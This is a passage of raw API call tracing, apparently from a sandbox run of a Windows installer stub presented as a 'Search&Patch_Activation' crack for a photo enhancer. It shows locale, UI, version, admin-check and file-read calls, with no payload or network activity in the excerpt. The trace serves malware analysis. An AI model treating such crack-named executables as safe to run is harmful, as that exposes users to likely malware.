lpLCData=0x18fe14, cchData=256 | out: lpLCData="Sat") returned 4 [0252.295] LoadStringA (in: hInstance=0x400000, uID=0xffed, lpBuffer=0x18fb10, cchBufferMax=1024 | out: lpBuffer="Saturday") returned 0x8 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x18fe14, cchData=256 | out: lpLCData="Saturday") returned 9 [0252.295] GetSystemDefaultLCID () returned 0x409 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x18fe18, cchData=256 | out: lpLCData="$") returned 2 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x18fe18, cchData=256 | out: lpLCData="0") returned 2 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x18fe18, cchData=256 | out: lpLCData="0") returned 2 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x18ff10, cchData=2 | out: lpLCData=",") returned 2 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x18ff10, cchData=2 | out: lpLCData=".") returned 2 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x18fe18, cchData=256 | out: lpLCData="2") returned 2 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x18ff10, cchData=2 | out: lpLCData="/") returned 2 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x18fe18, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x18fe18, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x18ff10, cchData=2 | out: lpLCData=":") returned 2 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x18fe18, cchData=256 | out: lpLCData="AM") returned 3 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x18fe18, cchData=256 | out: lpLCData="PM") returned 3 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x18fe18, cchData=256 | out: lpLCData="0") returned 2 [0252.295] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x18fe18, cchData=256 | out: lpLCData="0") returned 2 [0252.295] GetVersionExA (in: lpVersionInformation=0x18feb8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x18fef0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x1c, szCSDVersion="Ø!@") | out: lpVersionInformation=0x18feb8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0252.295] GetCurrentThreadId () returned 0x8cc [0252.295] LoadStringA (in: hInstance=0x400000, uID=0xf087, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="BkSp") returned 0x4 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf088, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Tab") returned 0x3 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf089, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Esc") returned 0x3 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf08a, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Enter") returned 0x5 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf08b, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Space") returned 0x5 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf08c, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="PgUp") returned 0x4 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf08d, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="PgDn") returned 0x4 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf08e, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="End") returned 0x3 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf08f, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Home") returned 0x4 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf090, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Left") returned 0x4 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf091, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Up") returned 0x2 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf092, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Right") returned 0x5 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf093, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Down") returned 0x4 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf094, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Ins") returned 0x3 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf095, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Del") returned 0x3 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf096, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Shift+") returned 0x6 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf097, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Ctrl+") returned 0x5 [0252.296] LoadStringA (in: hInstance=0x400000, uID=0xf098, lpBuffer=0x18fb1c, cchBufferMax=1024 | out: lpBuffer="Alt+") returned 0x4 [0252.296] GetVersion () returned 0x1db10106 [0252.296] GetDC (hWnd=0x0) returned 0x1b0106ca [0252.296] GetDeviceCaps (hdc=0x1b0106ca, index=90) returned 96 [0252.296] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0252.296] MulDiv (nNumber=8, nNumerator=96, nDenominator=72) returned 11 [0252.296] GetStockObject (i=7) returned 0x1b00017 [0252.296] GetStockObject (i=5) returned 0x1900015 [0252.296] GetStockObject (i=13) returned 0x18a002e [0252.296] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0252.296] GetCurrentProcessId () returned 0x8d0 [0252.297] GlobalAddAtomA (lpString="Delphi000008D0") returned 0xc168 [0252.298] GetCurrentThreadId () returned 0x8cc [0252.298] GlobalAddAtomA (lpString="ControlOfs00400000000008CC") returned 0xc167 [0252.298] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0252.298] LoadCursorA (hInstance=0x0, lpCursorName=0x7f8b) returned 0x1001b [0252.298] LoadCursorA (hInstance=0x0, lpCursorName=0x7f8a) returned 0x10019 [0252.298] LoadCursorA (hInstance=0x0, lpCursorName=0x7f88) returned 0x10017 [0252.298] LoadCursorA (hInstance=0x400000, lpCursorName=0x7ffa) returned 0x70091 [0252.305] LoadCursorA (hInstance=0x400000, lpCursorName=0x7ffb) returned 0x60181 [0252.305] LoadCursorA (hInstance=0x400000, lpCursorName=0x7ffc) returned 0x500a1 [0252.306] LoadCursorA (hInstance=0x400000, lpCursorName=0x7ffd) returned 0x4016d [0252.307] LoadCursorA (hInstance=0x400000, lpCursorName=0x7fff) returned 0x501e7 [0252.307] LoadCursorA (hInstance=0x400000, lpCursorName=0x7ffe) returned 0x9007d [0252.307] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0252.307] LoadCursorA (hInstance=0x0, lpCursorName=0x7f04) returned 0x1000b [0252.307] LoadCursorA (hInstance=0x0, lpCursorName=0x7f84) returned 0x10011 [0252.307] LoadCursorA (hInstance=0x0, lpCursorName=0x7f82) returned 0x1000d [0252.307] LoadCursorA (hInstance=0x0, lpCursorName=0x7f85) returned 0x10013 [0252.307] LoadCursorA (hInstance=0x0, lpCursorName=0x7f83) returned 0x1000f [0252.307] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0252.308] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005 [0252.308] LoadCursorA (hInstance=0x0, lpCursorName=0x7f03) returned 0x10009 [0252.308] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0252.308] GetDC (hWnd=0x0) returned 0x1b0106ca [0252.308] EnumFontsA (hdc=0x1b0106ca, lpLogfont=0x0, lpProc=0x4234f8, lParam=0x2d07f4) [0252.395] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0252.395] LoadIconA (hInstance=0x400000, lpIconName="MAINICON") returned 0xe023b [0252.402] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18fe27, nSize=0x100 | out: lpFilename="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\is-idt09.tmp\\a1photo-&-art-enhancer_search&patch_activation.tmp")) returned 0x64 [0252.407] OemToCharA (in: pSrc="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp", pDst=0x18fe27 | out: pDst="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp") returned 1 [0252.407] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x230000 [0252.408] GetClassInfoA (in: hInstance=0x400000, lpClassName="TApplication", lpWndClass=0x18fddc | out: lpWndClass=0x18fddc) returned 0 [0252.408] RegisterClassA (lpWndClass=0x49c630) returned 0xcc1d1 [0252.408] GetSystemMetrics (nIndex=0) returned 1440 [0252.604] GetSystemMetrics (nIndex=1) returned 900 [0252.605] CreateWindowExA (dwExStyle=0x0, lpClassName="TApplication", lpWindowName="A1photo-&-art-enhancer_search&patch_activation", dwStyle=0x94ca0000, X=720, Y=450, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2024a [0252.760] SystemParametersInfoA (in: uiAction=0x48, uiParam=0x0, pvParam=0x18fdc0, fWinIni=0x0 | out: pvParam=0x18fdc0) returned 0 [0252.801] ShowWindow (hWnd=0x2024a, nCmdShow=9) returned 1 [0252.801] SetWindowLongA (hWnd=0x2024a, nIndex=-4, dwNewLong=2297839) returned 4218396 [0252.801] SendMessageA (hWnd=0x2024a, Msg=0x80, wParam=0x1, lParam=0xe023b) returned 0x0 [0252.802] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x80, wParam=0x1, lParam=0xe023b) returned 0x0 [0252.804] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xae, wParam=0x200c, lParam=0x0) returned 0x0 [0252.804] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x501e5 [0252.806] GetSystemMenu (hWnd=0x2024a, bRevert=0) returned 0xa010f [0253.285] DeleteMenu (hMenu=0xa010f, uPosition=0xf030, uFlags=0x0) returned 1 [0253.285] DeleteMenu (hMenu=0xa010f, uPosition=0xf000, uFlags=0x0) returned 1 [0253.285] DeleteMenu (hMenu=0xa010f, uPosition=0xf010, uFlags=0x0) returned 1 [0253.285] GetVersion () returned 0x1db10106 [0253.285] MulDiv (nNumber=8, nNumerator=96, nDenominator=72) returned 11 [0253.285] RegisterClipboardFormatA (lpszFormat="commdlg_help") returned 0xc136 [0253.285] RegisterClipboardFormatA (lpszFormat="commdlg_FindReplace") returned 0xc076 [0253.286] GetCurrentThreadId () returned 0x8cc [0253.286] GlobalAddAtomA (lpString="WndProcPtr00400000000008CC") returned 0xc166 [0253.286] GetVersionExA (in: lpVersionInformation=0x18fed4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x7efde000, dwPlatformId=0x1b001a, szCSDVersion="8ÿ\x18") | out: lpVersionInformation=0x18fed4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0253.286] GetVersionExA (in: lpVersionInformation=0x18fea8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x593838, dwBuildNumber=0x18fec4, dwPlatformId=0x76f2e65f, szCSDVersion="\x01") | out: lpVersionInformation=0x18fea8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0253.286] GetSystemDirectoryA (in: lpBuffer=0x18fe38, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0253.286] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\uxtheme.dll") returned 0x73a10000 [0253.286] GetProcAddress (hModule=0x73a10000, lpProcName="OpenThemeData") returned 0x73a25f29 [0253.286] GetProcAddress (hModule=0x73a10000, lpProcName="CloseThemeData") returned 0x73a21fa1 [0253.287] GetProcAddress (hModule=0x73a10000, lpProcName="DrawThemeBackground") returned 0x73a2d464 [0253.287] GetProcAddress (hModule=0x73a10000, lpProcName="DrawThemeText") returned 0x73a2db21 [0253.287] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeBackgroundContentRect") returned 0x73a2da9e [0253.287] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeBackgroundContentRect") returned 0x73a2da9e [0253.287] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemePartSize") returned 0x73a2289f [0253.287] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeTextExtent") returned 0x73a289fe [0253.287] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeTextMetrics") returned 0x73a3778c [0253.287] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeBackgroundRegion") returned 0x73a30190 [0253.287] GetProcAddress (hModule=0x73a10000, lpProcName="HitTestThemeBackground") returned 0x73a32dc1 [0253.287] GetProcAddress (hModule=0x73a10000, lpProcName="DrawThemeEdge") returned 0x73a4c01c [0253.287] GetProcAddress (hModule=0x73a10000, lpProcName="DrawThemeIcon") returned 0x73a4d123 [0253.287] GetProcAddress (hModule=0x73a10000, lpProcName="IsThemePartDefined") returned 0x73a230cf [0253.288] GetProcAddress (hModule=0x73a10000, lpProcName="IsThemeBackgroundPartiallyTransparent") returned 0x73a2281c [0253.288] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeColor") returned 0x73a227c0 [0253.288] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeMetric") returned 0x73a355b4 [0253.288] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeString") returned 0x73a4b7a1 [0253.288] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeBool") returned 0x73a26651 [0253.288] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeInt") returned 0x73a227c0 [0253.288] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeEnumValue") returned 0x73a227c0 [0253.288] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemePosition") returned 0x73a4b80d [0253.288] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeFont") returned 0x73a376a2 [0253.288] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeRect") returned 0x73a4b936 [0253.288] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeMargins") returned 0x73a22f97 [0253.289] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeIntList") returned 0x73a4b86e [0253.289] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemePropertyOrigin") returned 0x73a30923 [0253.289] GetProcAddress (hModule=0x73a10000, lpProcName="SetWindowTheme") returned 0x73a37afc [0253.289] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeFilename") returned 0x73a4b997 [0253.289] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeSysColor") returned 0x73a35530 [0253.289] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeSysColorBrush") returned 0x73a4ca32 [0253.289] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeSysBool") returned 0x73a4cb86 [0253.289] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeSysSize") returned 0x73a4cc61 [0253.289] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeSysFont") returned 0x73a4c3d8 [0253.289] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeSysString") returned 0x73a4c553 [0253.289] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeSysInt") returned 0x73a4c5e7 [0253.289] GetProcAddress (hModule=0x73a10000, lpProcName="IsThemeActive") returned 0x73a36f36 [0253.290] GetProcAddress (hModule=0x73a10000, lpProcName="IsAppThemed") returned 0x73a37009 [0253.290] GetProcAddress (hModule=0x73a10000, lpProcName="GetWindowTheme") returned 0x73a3535b [0253.290] GetProcAddress (hModule=0x73a10000, lpProcName="EnableThemeDialogTexture") returned 0x73a3786d [0253.290] GetProcAddress (hModule=0x73a10000, lpProcName="IsThemeDialogTextureEnabled") returned 0x73a4cb3f [0253.290] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeAppProperties") returned 0x73a2ebd6 [0253.290] GetProcAddress (hModule=0x73a10000, lpProcName="SetThemeAppProperties") returned 0x73a4ccec [0253.290] GetProcAddress (hModule=0x73a10000, lpProcName="GetCurrentThemeName") returned 0x73a363ae [0253.290] GetProcAddress (hModule=0x73a10000, lpProcName="GetThemeDocumentationProperty") returned 0x73a4c346 [0253.290] GetProcAddress (hModule=0x73a10000, lpProcName="DrawThemeParentBackground") returned 0x73a2e776 [0253.290] GetProcAddress (hModule=0x73a10000, lpProcName="EnableTheming") returned 0x73a4c9ff [0253.291] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0253.291] GetProcAddress (hModule=0x76860000, lpProcName="NotifyWinEvent") returned 0x76882592 [0253.291] GetVersionExA (in: lpVersionInformation=0x49e794*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x49e794*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0253.291] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x752b0000 [0253.291] GetProcAddress (hModule=0x752b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x752dd620 [0253.291] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x752b0000 [0253.291] GetProcAddress (hModule=0x752b0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x752dd638 [0253.292] GetSystemDirectoryA (in: lpBuffer=0x18fe3c, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0253.292] SetErrorMode (uMode=0x8000) returned 0x0 [0253.292] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\shell32.dll") returned 0x75be0000 [0253.293] SetErrorMode (uMode=0x0) returned 0x8000 [0253.293] FormatMessageA (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x4c783afb, dwLanguageId=0x0, lpBuffer=0x18fb40, nSize=0x400, Arguments=0x0 | out: lpBuffer="") returned 0x0 [0253.322] CoInitialize (pvReserved=0x0) returned 0x0 [0253.323] GetSystemDirectoryA (in: lpBuffer=0x18fe38, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0253.323] SetErrorMode (uMode=0x8000) returned 0x0 [0253.323] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\shell32.dll") returned 0x75be0000 [0253.324] SetErrorMode (uMode=0x0) returned 0x8000 [0253.324] GetProcAddress (hModule=0x75be0000, lpProcName="SHCreateItemFromParsingName") returned 0x75c34215 [0253.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff40 | out: lpSystemTimeAsFileTime=0x18ff40*(dwLowDateTime=0x967e0180, dwHighDateTime=0x1d8a8cd)) [0253.324] FileTimeToLocalFileTime (in: lpFileTime=0x18ff40, lpLocalFileTime=0x18ff38 | out: lpLocalFileTime=0x18ff38) returned 1 [0253.324] VirtualAlloc (lpAddress=0x2d4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2d4000 [0253.325] GetSystemDirectoryA (in: lpBuffer=0x18fe38, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0253.326] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\shell32.dll") returned 0x75be0000 [0253.326] GetProcAddress (hModule=0x75be0000, lpProcName="SHPathPrepareForWriteA") returned 0x75e5b0d3 [0253.326] VirtualFree (lpAddress=0x2d8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0253.335] GetSystemDirectoryA (in: lpBuffer=0x18fe38, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0253.335] SetErrorMode (uMode=0x8000) returned 0x0 [0253.335] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\shell32.dll") returned 0x75be0000 [0253.336] SetErrorMode (uMode=0x0) returned 0x8000 [0253.336] GetProcAddress (hModule=0x75be0000, lpProcName="SHPathPrepareForWriteA") returned 0x75e5b0d3 [0253.336] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x752b0000 [0253.336] GetProcAddress (hModule=0x752b0000, lpProcName="VerSetConditionMask") returned 0x76f792b9 [0253.337] GetProcAddress (hModule=0x752b0000, lpProcName="VerifyVersionInfoW") returned 0x752dd3f3 [0253.337] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x752b0000 [0253.337] GetProcAddress (hModule=0x752b0000, lpProcName="GetNativeSystemInfo") returned 0x752d106d [0253.337] GetNativeSystemInfo (in: lpSystemInfo=0x18ff18 | out: lpSystemInfo=0x18ff18*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0253.337] GetProcAddress (hModule=0x752b0000, lpProcName="IsWow64Process") returned 0x752c193e [0253.337] GetCurrentProcess () returned 0xffffffff [0253.337] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff14 | out: Wow64Process=0x18ff14*=1) returned 1 [0253.338] GetProcAddress (hModule=0x752b0000, lpProcName="GetSystemWow64DirectoryA") returned 0x75342834 [0253.338] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x76a60000 [0253.338] GetProcAddress (hModule=0x76a60000, lpProcName="RegDeleteKeyExA") returned 0x76aa3419 [0253.338] GetVersionExA (in: lpVersionInformation=0x18fe14*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x18fe64, dwMinorVersion=0x57fc80, dwBuildNumber=0x18fec0, dwPlatformId=0x76f30362, szCSDVersion="\x92áòv8\x03óv±5\x06vt_H") | out: lpVersionInformation=0x18fe14*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0253.338] GetVersionExA (in: lpVersionInformation=0x18fea8*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x5911c8, dwMinorVersion=0x18ff48, dwBuildNumber=0x76f71ecd, dwPlatformId=0xec77b9, szCSDVersion="þÿÿÿ8\x03óvÂ\x01óv") | out: lpVersionInformation=0x18fea8*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0253.338] GetSystemDirectoryA (in: lpBuffer=0x18fe38, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0253.338] SetErrorMode (uMode=0x8000) returned 0x0 [0253.338] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\shell32.dll") returned 0x75be0000 [0253.339] SetErrorMode (uMode=0x0) returned 0x8000 [0253.339] GetProcAddress (hModule=0x75be0000, lpProcName="SHGetKnownFolderPath") returned 0x75c94ca0 [0253.339] RegisterClipboardFormatA (lpszFormat="QueryCancelAutoPlay") returned 0xc12d [0253.339] SetErrorMode (uMode=0x1) returned 0x0 [0253.339] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0253.340] GetProcAddress (hModule=0x76860000, lpProcName="DisableProcessWindowsGhosting") returned 0x768b9e75 [0253.340] DisableProcessWindowsGhosting () [0253.342] GetCommandLineA () returned="\"C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp\" /SL5=\"$60182,111616,111616,C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe\" " [0253.342] SetWindowTextA (hWnd=0x2024a, lpString="Setup") returned 1 [0253.342] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xc, wParam=0x0, lParam=0x49bc68) returned 0x1 [0253.343] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xae, wParam=0x8, lParam=0x0) returned 0x0 [0253.346] ShowWindow (hWnd=0x2024a, nCmdShow=5) returned 1 [0253.346] CoInitialize (pvReserved=0x0) returned 0x1 [0253.346] AllocateAndInitializeSid (in: pIdentifierAuthority=0x49c788, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fe90 | out: pSid=0x18fe90*=0x590d80*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0253.346] GetVersion () returned 0x1db10106 [0253.347] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x76a60000 [0253.347] GetProcAddress (hModule=0x76a60000, lpProcName="CheckTokenMembership") returned 0x76a6df04 [0253.347] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x590d80*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18fe8c | out: IsMember=0x18fe8c) returned 1 [0253.348] GetSystemTime (in: lpSystemTime=0x18fe84 | out: lpSystemTime=0x18fe84*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0xd, wMinute=0x10, wSecond=0x23, wMilliseconds=0x1b2)) [0253.348] GetCommandLineA () returned="\"C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp\" /SL5=\"$60182,111616,111616,C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe\" " [0253.350] GetCommandLineA () returned="\"C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp\" /SL5=\"$60182,111616,111616,C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe\" " [0253.350] CreateFileA (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\a1photo-&-art-enhancer_search&patch_activation.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0253.351] SetFilePointer (in: hFile=0x10c, lDistanceToMove=111616, lpDistanceToMoveHigh=0x18fe7c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fe7c*=0) returned 0x1b400 [0253.351] ReadFile (in: hFile=0x10c, lpBuffer=0x18fed0, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x18fe88, lpOverlapped=0x0 | out: lpBuffer=0x18fed0*, lpNumberOfBytesRead=0x18fe88*=0x40, lpOverlapped=0x0) returned 1 [0253.351] VirtualAlloc (lpAddress=0x2d8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2d8000 [0253.352] ReadFile (in: hFile=0x10c, lpBuffer=0x18fe7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fe34, lpOverlapped=0x0 | out: lpBuffer=0x18fe7c*, lpNumberOfBytesRead=0x18fe34*=0x4, lpOverlapped=0x0) returned 1 [0253.352] ReadFile (in: hFile=0x10c, lpBuffer=0x18fe74, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x18fe34, lpOverlapped=0x0 | out: lpBuffer=0x18fe74*, lpNumberOfBytesRead=0x18fe34*=0x5, lpOverlapped=0x0) returned 1 [0253.352] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, 